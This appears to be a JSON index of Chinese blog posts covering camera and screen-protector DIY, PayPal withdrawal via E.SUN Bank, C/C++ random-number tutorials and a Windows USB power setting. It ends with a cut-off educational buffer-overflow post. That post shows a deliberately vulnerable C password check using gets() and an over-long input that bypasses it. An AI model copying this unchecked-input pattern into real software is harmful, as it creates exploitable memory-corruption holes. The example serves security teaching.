2\n確認一下保護貼的大小，如果比螢幕小的話就沒辦法用了。\n剛好小米 Max 的保護貼非常大，可以剪成兩張 Olympus E-M5 Mark II 相機用的螢幕保護貼。\nStep 3\n量測螢幕大小，並用奇異筆在保護貼上畫出對應的大小。\n畫好之後，再確認一下有沒有畫錯。\nStep 4\n確認大小沒問題，就開啟裁切保護貼。\n這是裁切之後的保護貼。\nStep 5\n用剪刀把保護貼的三個角修圓。\n修圓之後的保護貼。\nStep 6\n確認保護貼大小。\nStep 7\n撕下原本相機螢幕上的保護膜。\nStep 8\n如果螢幕上有沾上灰塵，要再清潔一下。\n用吹球也很方便。\nStep 9\n貼上螢幕保護貼。\nStep 10\n把保護貼的膠膜撕掉。\nStep 11\n這樣就完成了。\nStep 12\n開機實測一下，感覺效果還不錯。\n","permalink":"https://blog.gtwang.org/diy/diy-olympus-e-m5-mark-ii-camera-screen-protector/","summary":"\u003cp\u003e這裡記錄自己剪裁小米 Max 手機保護貼，製作 Olympus E-M5 Mark II 相機螢幕保護貼的過程。\u003c/p\u003e\n\u003cp\u003e之前的 \u003ca href=\"/unboxing/olympus-e-pl6-evil-camera-unboxing/\"\u003eOlympus E-PL6\u003c/a\u003e 因為不想要買保護貼，所以\u003ca href=\"/diy/camera-screen-protector-diy/\"\u003e自己用手機保護貼剪成相機螢幕的大小\u003c/a\u003e，用了將近兩年都沒什麼問題，所以這次買了 \u003ca href=\"/unboxing/olympus-omd-e-m5-mark-ii-evil-camera-unboxing/\"\u003eOlympus E-M5 Mark II\u003c/a\u003e，也用同樣的方法把之前\u003ca href=\"/unboxing/xiaomi-mi-max-mobile/\"\u003e小米 Max 手機\u003c/a\u003e剩下的保護貼剪成相機用的大小。\u003c/p\u003e","title":"[DIY] 自製 Olympus OM-D E-M5 Mark II 相機螢幕保護貼"},{"content":"這裡介紹如何使用玉山銀行的全球通服務，把 PayPal 上面的錢領到玉山銀行的美金帳戶中。\n有在使用 PayPal 收款的人應該都會遇到怎麼把 PayPal 中的錢領出來的問題，目前要從 PalPal 中把錢領出來，可以透過玉山銀行的全球通服務，直接把錢轉到玉山的帳戶中，如果在玉山銀行有外幣帳戶的話，也可以選擇把錢存成美金，等匯率比較划算的時候再換回台幣，或是在美金利率較高的時候直接用美金定存。\n以下是我從 PayPal 領出美金，存入玉山銀行外幣帳戶的過程。\nStep 1\n如果您第一次使用玉山銀行的全球通服務，建議可以先閱讀一下玉山銀行官方的介紹與說明。\nStep 2\n登入玉山銀行的網路銀行之後，在「外幣存匯」的選單中，選擇「玉山全球通 PayPal 服務」。\nStep 3\n如果是第一次使用提領 PayPal 存款的話，要新增一個 PayPal 帳戶的連結，請點選「新增帳戶連結」，輸入自己的 PayPal 帳戶（Email 信箱），並且輸入 PayPal 的密碼進行認證。\n建立好 PayPal 帳戶連結之後，就可以進行提領的動作。\nStep 4\n這是中央銀行的一些規定，點選「同意」。\nStep 5\n選擇要提領的 PayPal 幣別、金額以及要存入的帳戶，有外幣戶頭的人，可以把 PayPal 上面的美金直接存進外幣帳戶。申報性質就依照自己的款項性質選擇。\nStep 6\n目前把 PayPal 美金領回來要扣 2.5% 的手續費。確認無誤後，輸入玉山網路銀行的密碼。\nStep 7\n這樣就完成 PayPal 存款的提領動作了，不過實際的款項不會馬上入帳，大約要等三到五個工作天之後，才會拿到錢。\nStep 8\n這時候在 PayPal 的提領紀錄中，就會新增一筆玉山銀行（E.SUN COMMERCIAL BANK LTD.）的提領紀錄。\nStep 9\n過了兩天之後，就收到玉山銀行的入帳通知，這時候就可以真的把錢領出來了。\n參考資料 香腸炒魷魚 ","permalink":"https://blog.gtwang.org/life/esun-bank-global-pass-withdraw-paypal-funds-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用玉山銀行的全球通服務，把 PayPal 上面的錢領到玉山銀行的美金帳戶中。\u003c/p\u003e\n\u003cp\u003e有在使用 PayPal 收款的人應該都會遇到怎麼把 PayPal 中的錢領出來的問題，目前要從 PalPal 中把錢領出來，可以透過\u003ca href=\"https://www.esunbank.com/zh-tw/business/e-commerce/cross-border/paypal\"\u003e玉山銀行的全球通服務\u003c/a\u003e，直接把錢轉到玉山的帳戶中，如果在玉山銀行有外幣帳戶的話，也可以選擇把錢存成美金，等匯率比較划算的時候再換回台幣，或是在美金利率較高的時候直接用美金定存。\u003c/p\u003e","title":"玉山銀行全球通提領 PayPal 存款至外幣帳戶教學"},{"content":"本篇是 Olympus OM-D E-M5 Mark II 微單眼相機的簡單開箱文。\n兩年前買的 Olympus E-PL6 用到現在都很滿意，只不過後來買了 12-40mm F2.8 Pro 之後，感覺接上 E-PL6 實在是頭重腳輕，不是很好拿，所以最近考慮升級機身，上網查了一下發現 E-M5 Mark II 水貨的價格只要兩萬出頭，所以就決定買這台了。\n買水貨的話我想首先想到的就是台北億華，我從他們的 Yahoo 拍賣上面買了這台 Olympus OM-D E-M5 Mark II，單機身的價格是 20,890 元，外加 100 元宅配運費。\n億華出貨的速度很快，通常隔一、兩天就可以收到貨了。\n打開外箱之後，裡面是一層泡泡袋。\n接著是 Olympus OM-D E-M5 Mark II 的外盒。\n外盒打開之後，還有一層內盒。\n這是打開內盒後，裡面的相機與配件。\n這些是說明書與保證書，因為是水貨，所以說明書是英文的，而保證書則是億華的。如果需要中文說明書，可以從 Olympus 的網站下載 E-M5 中文說明書的 PDF 檔。\n這些是 Olympus OM-D E-M5 Mark II 的配件，包含電池、充電器、Olympus BLN-1 原廠電池、傳輸線、絨布袋、背帶。\n這是 Olympus E-M5 用的 BLN-1 電池。\n這是 E-M5 附贈的 FL-LM3 閃光燈。\n這個閃光燈的頭是可以轉的喔，應該非常實用，攜帶也很方便。\n有附贈一個絨布袋，用來裝閃光燈好像剛好。\n這就是單機身的 Olympus OM-D E-M5 Mark II。\n這是相機背面。\nOlympus OM-D E-M5 Mark II 正面照。\n這是 E-M5 Mark II 頂部的樣子，操作的按鈕與轉盤比 E-PL6 多出好多。\n這是相機背面右側的控制面板。\n這是右側的功能鍵與轉盤，包含 LV 按鈕、HDR 按鈕、快門、錄影等。\n左側的拍攝模式轉盤，還有相機的電源。\n側邊也有 Fn 按鈕與控制桿。\n另一側有屈光度調整鈕。\n前面這個黑色的是外接閃光燈接頭。\n這是相機底部的樣子。\nE-M5 的螢幕是可以自由翻轉的。\n補上幾張 E-M5 的正面照。\n這是 Olympus OM-D E-M5 Mark II 接上 Olympus 17mm F1.8 定焦鏡頭的樣子。\n這是 Olympus OM-D E-M5 Mark II 接上 Olympus 12-40mm F2.8 Pro 變焦鏡頭的樣子，感覺比 E-PL6 好拿一些。\n這是 Olympus OM-D E-M5 Mark II 與 Olympus E-PL6 的比較。\n","permalink":"https://blog.gtwang.org/unboxing/olympus-omd-e-m5-mark-ii-evil-camera-unboxing/","summary":"\u003cp\u003e本篇是 Olympus OM-D E-M5 Mark II 微單眼相機的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e兩年前買的 \u003ca href=\"/unboxing/olympus-e-pl6-evil-camera-unboxing/\"\u003eOlympus E-PL6\u003c/a\u003e 用到現在都很滿意，只不過後來買了 \u003ca href=\"/unboxing/olympus-m-zd-12-40mm-f28-pro-len/\"\u003e12-40mm F2.8 Pro\u003c/a\u003e 之後，感覺接上 E-PL6 實在是頭重腳輕，不是很好拿，所以最近考慮升級機身，上網查了一下發現 E-M5 Mark II 水貨的價格只要兩萬出頭，所以就決定買這台了。\u003c/p\u003e","title":"[開箱] Olympus OM-D E-M5 Mark II 微單眼相機"},{"content":"這裡介紹如何使用 C++11 標準中內建的亂數函式庫，產生各種機率分布的隨機亂數。\n傳統上在 C/C++ 程式中若要產生亂數，大家最常用的就是標準的 rand 函數，它的用法簡單、快速又方便，雖然其功能比較陽春，生成的亂數品質也比較不好，但因為是標準的函數之一，所以還是非常多人喜歡用。\n在 C++11 的標準中新增了 \u0026lt;random\u0026gt; 這個標準的亂數函式庫，它的功能比較完整，生成的隨機變數品質也會比 rand 函數來得好，以下是簡單的使用教學與範例程式碼。\n\u0026lt;random\u0026gt; 概念 C++11 的 \u0026lt;random\u0026gt; 的主要功能可分為三大類：\n隨機亂數種子產生器：傳統上許多人都會習慣使用時間當作亂數種子，但其實時間的資訊並不是隨機的，\u0026lt;random\u0026gt; 中的隨機設備（std::random_device）可以讓我們產生接近隨機的亂數種子，讓生成的亂數無法被預測。 亂數產生器：這個部分就是所謂的偽隨機亂數產生器（pseudorandom number generator），可依照給定的亂數種子產生一連串的亂數，\u0026lt;random\u0026gt; 中提供了好幾種不同的亂數產生器，例如 std::mt19937、std::mt19937_64 等，另外也有最陽春的 std::default_random_engine。 機率分佈：機率分布的功能就是將亂數產生器所產生的均勻分布亂數，轉換為各種統計上常用的機率分布，例如常態分布（std::normal_distribution）、指數分布（std::exponential_distribution）、卜瓦松分布（std::poisson_distribution）等。 將以上三大類的工具組合之後，就可以很輕易的產生各種機率分布的隨機亂數。\nHello World 這是使用 \u0026lt;random\u0026gt; 亂數函式庫產生 [0, 1) 區間連續型均勻分布（uniform distribution）的範例程式：\n#include \u0026lt;iostream\u0026gt; #include \u0026lt;random\u0026gt; /* 亂數函式庫 */ #include \u0026lt;ctime\u0026gt; int main(){ /* 亂數產生器 */ std::default_random_engine generator( time(NULL) ); /* 亂數的機率分布 */ std::uniform_real_distribution\u0026lt;float\u0026gt; unif(0.0, 1.0); /* 產生亂數 */ float x = unif(generator); std::cout \u0026lt;\u0026lt; \u0026#34;x = \u0026#34; \u0026lt;\u0026lt; x \u0026lt;\u0026lt; std::endl; return 0; } 這裡我們使用 std::default_random_engine 這個預設的亂數產生器，以時間的資訊作為亂數種子，然後透過 std::uniform_real_distribution 轉換成 [0, 1) 區間的連續型均勻分布。\n這個 hello world 程式只是示範最簡單的亂數產生方式，這樣所產生的亂數品質就跟傳統上的 rand 函數差不多（一樣差），接下來我們會使用隨機設備產生更接近隨機的亂數種子，並且將 std::default_random_engine 換成更好一點的亂數產生器，最後套上各種機率分布的轉換，生成各種不同分布的亂數。\n隨機設備 一般的亂數產生器都會需要指定亂數種子，如果亂數種子不是隨機的，那麼所產生出來的亂數也就不是隨機的，嚴格來說就算使用時間當作亂數種子，其所產生的亂數也不是隨機的，這種亂數在某些情況下甚至可以被預測。\n隨機設備（std::random_device）是一個均勻分布（uniform distribution）的整數亂數產生器，可以產生比較接近隨機的亂數（例如從硬體上取得隨機的資料），讓人無法預測，以下是 std::random_device 的一些基本用法。\n#include \u0026lt;iostream\u0026gt; #include \u0026lt;random\u0026gt; int main(){ /* 隨機設備 */ std::random_device rd; /* 隨機亂數的範圍 */ std::cout \u0026lt;\u0026lt; \u0026#34;Min = \u0026#34; \u0026lt;\u0026lt; rd.min() \u0026lt;\u0026lt; \u0026#34;, Max = \u0026#34; \u0026lt;\u0026lt; rd.max() \u0026lt;\u0026lt; std::endl; /* 產生隨機的亂數 */ std::cout \u0026lt;\u0026lt; \u0026#34;Random Number = \u0026#34; \u0026lt;\u0026lt; rd() \u0026lt;\u0026lt; std::endl; /* 隨機設備的熵值 */ std::cout \u0026lt;\u0026lt; \u0026#34;Entropy = \u0026#34; \u0026lt;\u0026lt; rd.entropy() \u0026lt;\u0026lt; std::endl; return 0; } 由於 std::random_device 在產生亂數時會消耗掉系統的熵（entropy），所以當熵耗盡時就會影響到亂數的產生，不適合用來產生大量的亂數。\n熵（entropy）的意思可以想像成系統上的「隨機性資訊總量」，電腦可以靠著一些有隨機性的設備來產生隨機的亂數，例如系統行程 ID、滑鼠移動軌跡、網路封包等，但是這些設備是有限的，而其所產生出來的隨機資訊也只能使用一次，若使用第二次就不是隨機的，因此系統上的隨機性資訊總量有一定的值，消耗太快而耗盡的話，就要等待這些設備再度產生。\n實務上我們可以使用 std::random_device 所產生的亂數來做為亂數種子，這樣產生的亂數會比較有隨機性：\n#include \u0026lt;iostream\u0026gt; #include \u0026lt;random\u0026gt; int main(){ /* 隨機設備 */ std::random_device rd; /* 亂數產生器 */ std::default_random_engine generator( rd() ); /* 亂數的機率分布 */ std::uniform_real_distribution\u0026lt;float\u0026gt; unif(0.0, 1.0); /* 產生亂數 */ float x = unif(generator); std::cout \u0026lt;\u0026lt; \u0026#34;x = \u0026#34; \u0026lt;\u0026lt; x \u0026lt;\u0026lt; std::endl; return 0; } 亂數產生器 偽隨機亂數產生器會依照給定的亂數種子，「計算」出一連串類似隨機的亂數，\u0026lt;random\u0026gt; 中提供好幾種不同演算法的亂數產生器：\n亂數產生器 說明 std::minstd_rand0 Minimal standard，x = x * 16807 % 2147483647 std::minstd_rand Minimal standard，x = x * 48271 % 2147483647 std::mt19937 梅森旋轉演算法 std::mt19937_64 梅森旋轉演算法 std::ranlux24_base Subtract with carry std::ranlux48_base Subtract with carry std::ranlux24 24-bit RANLUX generator by Martin Lüscher and Fred James, 1994 std::ranlux48 48-bit RANLUX generator by Martin Lüscher and Fred James, 1994 std::knuth_b Knuth-B generator std::default_random_engine 預設亂數產生器，通常是 LCG 類型的。 各種亂數產生器的用法都類似，只要將前面範例中的 std::default_random_engine 抽換掉即可：\n#include \u0026lt;iostream\u0026gt; #include \u0026lt;random\u0026gt; int main(){ std::random_device rd; /* 梅森旋轉演算法 */ std::mt19937 generator( rd() ); std::uniform_real_distribution\u0026lt;float\u0026gt; unif(0.0, 1.0); float x = unif(generator); std::cout \u0026lt;\u0026lt; \u0026#34;x = \u0026#34; \u0026lt;\u0026lt; x \u0026lt;\u0026lt; std::endl; return 0; } 其他的用法以此類推，若要查詢亂數的範圍，也是使用 min 與 max 兩個方法函數：\n/* 產生亂數的範圍 */ std::cout \u0026lt;\u0026lt; \u0026#34;Min = \u0026#34; \u0026lt;\u0026lt; generator.min() \u0026lt;\u0026lt; \u0026#34;, Max = \u0026#34; \u0026lt;\u0026lt; generator.max() \u0026lt;\u0026lt; std::endl; 講究亂數品質的人，請避免使用 std::minstd_rand0、std::minstd_rand 與 std::default_random_engine 這些太簡略的演算法，可以改用 std::mt19937 這類比較新的演算法。\n機率分佈 亂數產生器只能產生固定範圍的整數亂數，若我們需要其他類型的亂數，就要靠機率分佈（probability distribution）的函數將基本的離散型均勻分布轉換成我們需要的分布。\n以下是 \u0026lt;random\u0026gt; 中所提供的機率分布函數。\n機率分布函數 說明 std::uniform_int_distribution 離散型均勻分布 std::uniform_real_distribution 連續型均勻分布 std::bernoulli_distribution 伯努利分布 std::binomial_distribution 二項分布 std::geometric_distribution 幾何分布 std::negative_binomial_distribution 負二項分佈 std::poisson_distribution 卜瓦松分布 std::exponential_distribution 指數分布 std::gamma_distribution 伽瑪分布 std::weibull_distribution 韋伯分布 std::extreme_value_distribution Generalized extreme value distribution std::normal_distribution 常態分布 std::lognormal_distribution 對數常態分布 std::chi_squared_distribution 卡方分布 std::cauchy_distribution 柯西分布 std::fisher_f_distribution F-分布 std::student_t_distribution 學生t分佈 std::discrete_distribution 自訂離散分布 std::piecewise_constant_distribution 自訂 piecewise constant 分布 std::piecewise_linear_distribution 自訂 piecewise linear 分布 機率分布函數的使用也是非常單純，將前面範例中的 std::uniform_real_distribution 置換成自己需要的分布即可，另外再指定機率分布的參數即可：\n#include \u0026lt;iostream\u0026gt; #include \u0026lt;random\u0026gt; int main(){ std::random_device rd; std::mt19937 generator( rd() ); /* 標準常態分布 */ std::normal_distribution\u0026lt;double\u0026gt; norm(0.0, 1.0); /* 產生標準常態分布的亂數 */ double x = norm(generator); std::cout \u0026lt;\u0026lt; \u0026#34;x = \u0026#34; \u0026lt;\u0026lt; x \u0026lt;\u0026lt; std::endl; return 0; } 常態分布需要的參數是平均值與標準差，這裡我們產生的是標準常態分布（平均值為 0、標準差為 1）的的亂數。\n以下是一個產生常態分布亂數，並畫出簡易直方圖的範例：\n#include \u0026lt;iostream\u0026gt; #include \u0026lt;random\u0026gt; int main(){ std::random_device rd; std::mt19937 generator( rd() ); /* 常態分布 */ std::normal_distribution\u0026lt;double\u0026gt; norm(5.0, 2.0); /* 常態分布亂數直方圖 */ const int n = 10000; const int nstars = 100; int p[10]={}; for (int i=0; i \u0026lt; n; ++i) { double x = norm(generator); if ((x \u0026gt;= 0.0) \u0026amp;\u0026amp; (x \u0026lt; 10.0)) ++p[int(x)]; } for (int i=0; i\u0026lt;10; ++i) { std::cout \u0026lt;\u0026lt; i \u0026lt;\u0026lt; \u0026#34;: \u0026#34;; std::cout \u0026lt;\u0026lt; std::string(p[i]*nstars/n, \u0026#39;*\u0026#39;) \u0026lt;\u0026lt; std::endl; } return 0; } 執行後的輸出會類似這樣：\n0: * 1: **** 2: ********* 3: *************** 4: ******************* 5: ******************* 6: ************** 7: ******** 8: **** 9: * 只要將分布函數替換後，稍微修改一下分布的參數，就可以畫出各種分布的直方圖，以下是指數分布的範例：\n#include \u0026lt;iostream\u0026gt; #include \u0026lt;random\u0026gt; int main(){ std::random_device rd; std::mt19937 generator( rd() ); /* 指數分布 */ std::exponential_distribution\u0026lt;double\u0026gt; exp(0.3); /* 指數分布亂數直方圖 */ const int n = 10000; const int nstars = 100; int p[10]={}; for (int i=0; i \u0026lt; n; ++i) { double x = exp(generator); if ((x \u0026gt;= 0.0) \u0026amp;\u0026amp; (x \u0026lt; 10.0)) ++p[int(x)]; } for (int i=0; i\u0026lt;10; ++i) { std::cout \u0026lt;\u0026lt; i \u0026lt;\u0026lt; \u0026#34;: \u0026#34;; std::cout \u0026lt;\u0026lt; std::string(p[i]*nstars/n, \u0026#39;*\u0026#39;) \u0026lt;\u0026lt; std::endl; } return 0; } 執行後的輸出為：\n0: ************************** 1: ******************* 2: ************* 3: ********** 4: ******** 5: ***** 6: **** 7: *** 8: ** 9: * 參考資料 GeeksforGeeks GeeksforGeeks StackOverflow PCG ","permalink":"https://blog.gtwang.org/programming/cpp-random-number-generator-and-probability-distribution-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用 C++11 標準中內建的亂數函式庫，產生各種機率分布的隨機亂數。\u003c/p\u003e\n\u003cp\u003e傳統上在 C/C++ 程式中若要產生亂數，大家最常用的就是\u003ca href=\"/programming/c-cpp-rand-random-number-generation-tutorial-examples/\"\u003e標準的 rand 函數\u003c/a\u003e，它的用法簡單、快速又方便，雖然其功能比較陽春，生成的亂數品質也比較不好，但因為是標準的函數之一，所以還是非常多人喜歡用。\u003c/p\u003e","title":"C++11 內建亂數函式庫使用教學：隨機亂數產生器與機率分布"},{"content":"本篇介紹 C/C++ 中使用 rand 函數產生亂數的方法，並且提供各種常用的範例程式碼。\n在撰寫 C/C++ 程式時，如果需要產生一些簡單的亂數，最方便的作法就是使用 rand 這個亂數產生函數，以下介紹這個函數的相關用法與範例。\nrand 只能提供基本的亂數，如果您需要更進階的功能或是品質比較好的亂數，建議改用 C++ 的 random 函式庫。\n基本亂數產生方法 C 語言中若要產生亂數，可以使用 stdlib.h 中的 rand 函數，而在呼叫 rand 函數之前，要先使用 srand 函數設定初始的亂數種子：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; /* 亂數相關函數 */ #include \u0026lt;time.h\u0026gt; /* 時間相關函數 */ int main(){ /* 設定亂數種子 */ srand( time(NULL) ); /* 產生亂數 */ int x = rand(); printf(\u0026#34;x = %d\\n\u0026#34;, x); return 0; } 執行後的輸出為：\nx = 159136674 rand 所產生的亂數是一個整數，其值介於 0 到 RAND_MAX 之間（最小是 0，最大則為 RAND_MAX），若想要看 RAND_MAX 的實際數值，可以用 printf 將其輸出後查看。\nprintf(\u0026#34;RAND_MAX = %d\\n\u0026#34;, RAND_MAX); 在 C++ 中的亂數產生方式也跟 C 幾乎相同，只是標頭檔換一下而已：\n#include \u0026lt;iostream\u0026gt; #include \u0026lt;cstdlib\u0026gt; /* 亂數相關函數 */ #include \u0026lt;ctime\u0026gt; /* 時間相關函數 */ int main(){ /* 固定亂數種子 */ srand( time(NULL) ); /* 產生亂數 */ int x = rand(); std::cout \u0026lt;\u0026lt; \u0026#34;x = \u0026#34; \u0026lt;\u0026lt; x \u0026lt;\u0026lt; std::endl; return 0; } 接下來的範例我就以 C 語言的寫法為準，需要 C++ 的人就自己將標頭檔改一下。\n固定亂數種子 由於電腦實際上並沒有辦法自己產生「真正的亂數」，只能透過複雜的數學演算法模擬出類似亂數的數值資料，而在模擬亂數時，需要設定一個亂數種子，電腦會根據這個亂數種子來計算出一連串的亂數，相同的亂數種子就會產生相同的亂數序列，所以如果要讓產生的亂數每次都不同，就要設定不同的亂數種子。\n在上面的範例中，我們使用時間來當作亂數種子，所以每次產生的亂數都不同，如果是用於數值模擬的程式，通常都會需要讓模擬的結果具有可重復性（repeatability），方便除錯與驗證，這種狀況就可以將亂數種子固定不變，這樣就可以確保每次的模擬結果完全相同：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;time.h\u0026gt; int main(){ /* 固定亂數種子 */ srand(5); int x = rand(); printf(\u0026#34;x = %d\\n\u0026#34;, x); return 0; } x = 84035 亂數種子是使用一個整數來做設定的，若要固定亂數種子的話，其數值要設定為多少其實不重要，只要每次執行程式時都使用相同的亂數種子即可。\n最常用到固定亂數種子的時機可能就是除錯或是驗證演算法是否有錯誤的時候，如果沒有固定亂數種子的話，每次跑出來的結果都不同，會讓除錯的難度提高。\n[0, 1) 浮點數亂數 若要產生 0 到 1 之間的浮點數亂數，可以這樣寫：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;time.h\u0026gt; int main(){ srand( time(NULL) ); /* 產生 [0, 1) 的浮點數亂數 */ double x = (double) rand() / (RAND_MAX + 1.0); printf(\u0026#34;x = %f\\n\u0026#34;, x); return 0; } 上面的程式中我們將 rand 函數所產生整數除以 RAND_MAX + 1.0，就可以得到 [0, 1) 這個範圍的浮點數亂數（也就是 0 \u0026lt;= x \u0026lt; 1）。\n特定範圍浮點數亂數 若要產生特定範圍的浮點數亂數，可以這樣寫：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;time.h\u0026gt; int main(){ srand( time(NULL) ); /* 指定亂數範圍 */ double min = 3.6; double max = 7.8; /* 產生 [min , max) 的浮點數亂數 */ double x = (max - min) * rand() / (RAND_MAX + 1.0) + min; printf(\u0026#34;x = %f\\n\u0026#34;, x); return 0; } 這樣即可產生 [min , max) 之間的浮點數亂數。\n特定範圍整數亂數 若想要產生特定範圍的整數亂數，可以這樣寫：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;time.h\u0026gt; int main(){ srand( time(NULL) ); /* 指定亂數範圍 */ int min = 4; int max = 10; /* 產生 [min , max] 的整數亂數 */ int x = rand() % (max - min + 1) + min; printf(\u0026#34;x = %d\\n\u0026#34;, x); return 0; } 這樣會將 rand 產生出來的整數轉換為 [min , max] 的整數亂數（也就是 min \u0026lt;= x \u0026lt;= max）。\n上面這種使用餘數運算（%）的方式只是比較方便的寫法，事實上使用餘數運算所產生的整數亂數在理論上不是標準的均勻分布，我們以一個簡單的例子來解釋，假設 RAND_MAX 的值為 10，而我們要產生介於 3 到 5 之間的整數亂數（亦即 min = 3、max = 5），以下是所有的可能性對照表：\n轉換後的整數亂數 rand 函數產生的亂數 出現機率 3 、3、6、9 4/11 4 1、4、7、10 4/11 5 2、5、8 3/11 rand 函數所產生的每一個整數其出現的機率是均等的，但是經過於數運算的轉換之後，因為 RAND_MAX 通常不會被整除，所以轉換之後的整數亂數出現機率就存在有細微的偏差，以這個例子來說，3、4、5 三個數字出現的機率比是 4:4:3。\n另外有些人會先產生固定範圍的浮點數亂數，再將浮點數轉型為整數，例如產生 [3, 6) 的浮點數亂數，然後轉型為 [3, 5] 的整數亂數，其實這種方式跟餘數運算一樣會有每個整數出現機率不均等的問題，簡單來說就是現在有 11 個球要放進 3 個籃子裡，不管怎麼放，每個籃子的球都不可能一樣多。\n如果您需要非常標準的均勻分布（uniform distribution），可以使用這個版本：\n/* 產生 [0, n) 均勻分布的整數亂數 */ int randint(int n) { if ((n - 1) == RAND_MAX) { return rand(); } else { /* 計算可以被整除的長度 */ long end = RAND_MAX / n; assert (end \u0026gt; 0L); end *= n; /* 將尾端會造成偏差的幾個亂數去除， 若產生的亂數超過 limit，則將其捨去 */ int r; while ((r = rand()) \u0026gt;= end); return r % n; } } 使用這個 randint 函數產生特定範圍整數亂數：\n/* 指定亂數範圍 */ int min = 4; int max = 10; /* 產生 [min , max] 的整數亂數 */ int x = randint(max - min + 1) + min; 這種作法就好像要把 11 個球要放進 3 個籃子裡，而最後多出來的 2 顆球就直接丟掉，確保每個籃子都一樣只有 3 顆，這樣大家的機率就可以相等了。\n這種使用截斷分布（truncated distribution）來校正機率的方式雖然在理論上是正確的，但是 rand 函數是使用 LCG（Linear Congruential Generator）來產生亂數的，他的優點只是快速、方便而已，但它本身所產生的亂數品質沒有非常好，再怎麼校正效果都有限，若需要高品質的亂數，請改用 C++11 標準的 random 函式庫。\n參考資料 Edison.X. Blog tutorialspoint StackOverflow StackOverflow ","permalink":"https://blog.gtwang.org/programming/c-cpp-rand-random-number-generation-tutorial-examples/","summary":"\u003cp\u003e本篇介紹 C/C++ 中使用 \u003ccode\u003erand\u003c/code\u003e 函數產生亂數的方法，並且提供各種常用的範例程式碼。\u003c/p\u003e\n\u003cp\u003e在撰寫 C/C++ 程式時，如果需要產生一些簡單的亂數，最方便的作法就是使用 \u003ccode\u003erand\u003c/code\u003e 這個亂數產生函數，以下介紹這個函數的相關用法與範例。\u003c/p\u003e","title":"C/C++ 使用 rand 函數產生隨機亂數教學與範例程式碼"},{"content":"這裡介紹如何更改 Windows 系統的設定，讓閒置的 USB 裝置可以持續運作不斷電。\nWindows 系統預設會關閉閒置 USB 裝置的電源，這樣可以幫助節省電力，對於大部分的 USB 裝置來說這樣的設定是很實用的，如果當您發現某些 USB 設備若是關閉電源會造成問題時，就可以利用以下的方式將系統的自動斷電功能取消。\n通常 USB 裝置的電源設定並不需要去手動修改，大部分的 USB 裝置在預設的狀態下都可以運作得很好，只有在出問題時才需要手動更改電源設定。\nStep 1\n在 Windows 7、8、10 這些系統下，USB 裝置的電源管理是屬於電源計畫的一部分，先從 Windows 設定中，選擇系統「系統」。\nStep 2\n選擇「電源與睡眠」中的其他電源設定。\nStep 3\n在選擇自己設定的電源計畫，然後變更計畫的內容，或是新增一個新的電源計畫也可以。\nStep 4\n選擇「變更進階電源設定」。\nStep 5\n在「USB 設定」中的「USB 選擇性暫停設定」的選項中，即可調整是否要讓 USB 裝置自動斷電。\n參考資料 HTG ","permalink":"https://blog.gtwang.org/windows/how-to-stop-windows-from-powering-off-your-usb-devices/","summary":"\u003cp\u003e這裡介紹如何更改 Windows 系統的設定，讓閒置的 USB 裝置可以持續運作不斷電。\u003c/p\u003e\n\u003cp\u003eWindows 系統預設會關閉閒置 USB 裝置的電源，這樣可以幫助節省電力，對於大部分的 USB 裝置來說這樣的設定是很實用的，如果當您發現某些 USB 設備若是關閉電源會造成問題時，就可以利用以下的方式將系統的自動斷電功能取消。\u003c/p\u003e","title":"Windows 取消自動關閉 USB 裝置電源功能教學"},{"content":"本篇以 C 語言的實際範例，解釋緩衝區溢位攻擊的原理。\n緩衝區溢位攻擊是一種典型的攻擊方式，雖然這種手法已經有一段的歷史，不過還是有可能因為程式設計者的疏忽，讓程式存在這樣的漏洞。\n以下我們以 C 語言的程式來解釋緩衝區溢位的原理以及攻擊方式。\n緩衝區溢位 程式中的緩衝區是指一塊特定的記憶體空間，程式在執行時可以將資料處存在其中，而緩衝區溢位（buffer overflow）就是指程式將資料寫入緩衝區時，超過了它的範圍，例如：\nchar buff[4]; buff[5] = \u0026#39;a\u0026#39;; 這裡我們宣告的 buff 字元陣列長度只有 4，是我們卻將資料寫入第六個元素的位置，超過了 buff 字元陣列的範圍。\n上面那種緩衝區溢位是屬於 stack 的溢位，還有另外一種類型是 heap 的溢位：\nchar *ptr = (char*) malloc(4); ptr[5] = \u0026#39;a\u0026#39;; 兩種溢位概念上差不多，只是差在些入的記憶體是在 stack 還是 heap 而已。\n緩衝區溢位攻擊 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; int main() { char buff[10]; int pass = 0; printf(\u0026#34;Enter the password:\\n\u0026#34;); gets(buff); if(strcmp(buff, \u0026#34;gtwang\u0026#34;)) { printf(\u0026#34;Fail.\\n\u0026#34;); } else { printf(\u0026#34;Pass.\\n\u0026#34;); pass = 1; } if(pass) { /* 取得更高的權限 */ printf(\u0026#34;You are root now.\\n\u0026#34;); } return 0; } 使用 gcc 編譯：\ngcc -o buff buff.c 編譯時會產生一些警告訊息，告知使用者 gets 是比較危險的函數，容易產生緩衝區溢位的漏洞，不過還是可以正常編譯出執行檔。\nbuff.c: In function ‘main’: buff.c:8:3: warning: ‘gets’ is deprecated (declared at /usr/include/stdio.h:638) [-Wdeprecated-declarations] gets(buff); ^ /tmp/ccWpQlEe.o: In function `main': buff.c:(.text+0x24): warning: the `gets' function is dangerous and should not be used. 以正常的方式執行：\n./buff Enter the password: gtwang Pass. You are root now. 正常的狀況下，程式會檢查輸入的密碼是否等於 gtwang，如果密碼正確才會讓只用者取得更高的權限。\n由於這個程式存在緩衝區溢位的漏洞，所以如果我們輸入的文字超過緩衝區的範圍時，結果就會不如預期：\n./buff Enter the password: 1234567891234 Fail. You are root now. 當我們輸入的文字長度太長，超過了 buff 的記憶體範圍時，就有可能把後面的記憶體內容覆蓋掉，也就是寫到 pass 這個變數的記憶體位址，意外把原本應該要是 0 的 pass 變數改成不是 0 的值，所以整個程式的邏輯就破壞掉了。\n程式的變數在記憶體中的位置是編譯器在安排的，有時候不見得會跟程式碼的順序相同，以下是我加入兩行 printf 